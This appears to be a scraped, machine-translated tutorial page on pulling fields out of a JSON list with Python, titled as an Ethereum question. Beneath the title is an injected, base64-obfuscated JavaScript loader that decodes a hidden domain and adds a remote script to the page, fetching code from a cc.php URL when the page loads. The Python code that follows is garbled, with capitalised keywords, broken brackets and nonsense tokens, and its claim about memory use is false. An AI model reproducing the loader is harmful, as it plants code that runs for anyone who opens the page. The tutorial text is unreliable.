
Ethereum: Reaching the data that comes with the list with python?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=c6c01b77″;document.body.appendChild(script);
Data assessment with Python
When you receive data from a server, you are right for using a “for” loop would cause a list error. However, there are several ways to assess and process data more robust.
Here is an example of how to analyze and return specific data from a JSON response using Python:
Assuming a JSON answer
`JSON
[
{
"ID": 1,
"Name": "John Doe",
"Age": 30,
"City": "New York"
},
{
"ID": 2,
"Name": "Jane Smith",
"Age": 25,
"City": "Los Angeles"
}
]]
'
Use of Python to analyze and return the data
Python
Import json
Assuming that the JSON response is stored in a variable called "data"
Data = [
{"ID": 1, "Name": "John Doe", "Age": 30, "City": "New York"},
{"ID": 2, "Name": "Jane Smith", "Age": 25, "City": "Los Angeles"}
]]
Define a function to extract specific data
Def Get_Data (data):
keys_to_ extract = ["id", "name", "age"]
For the element in the data:
extract_info = {}
For the key in keys_to_ extract:
If the key of the element:
Extract_info [Key] = Item [Key]
Extract_info yield
Example of use
For the person in Get_Data (data):
Printing (person)
'
In this example, we define a "Get_Data" function which takes a list of objects ("data") and returns an expression of generator which gives dictionaries containing specific data (for exampleid”, “name” and `Age "). We then use a “Example of Use” section to demonstrate how iterates on the extracted data.
Access to specific data
To access specific data, you can simply browse the expression of the generator:
Python
For the person in Get_Data (data):
Print (Person ["ID"])
Print: 1
Print (Person ["Name"])
Prints: John Doe
'
Alternatively, if you want to use a “for” loop instead of a generator expression, you can define a separate function that takes data as a argument:
Python
Def Get_person (person):
Return {"id": person ["id"], "name": nobody ["name"]}
Example of use
Data = [
{"ID": 1, "Name": "John Doe", "Age": 30, "City": "New York"},
{"ID": 2, "Name": "Jane Smith", "Age": 25, "City": "Los Angeles"}
]]
For the person in the data:
Print (Get_person (Person))
` ‘
This approach is more suitable when working with more important data sets that do not fit in memory.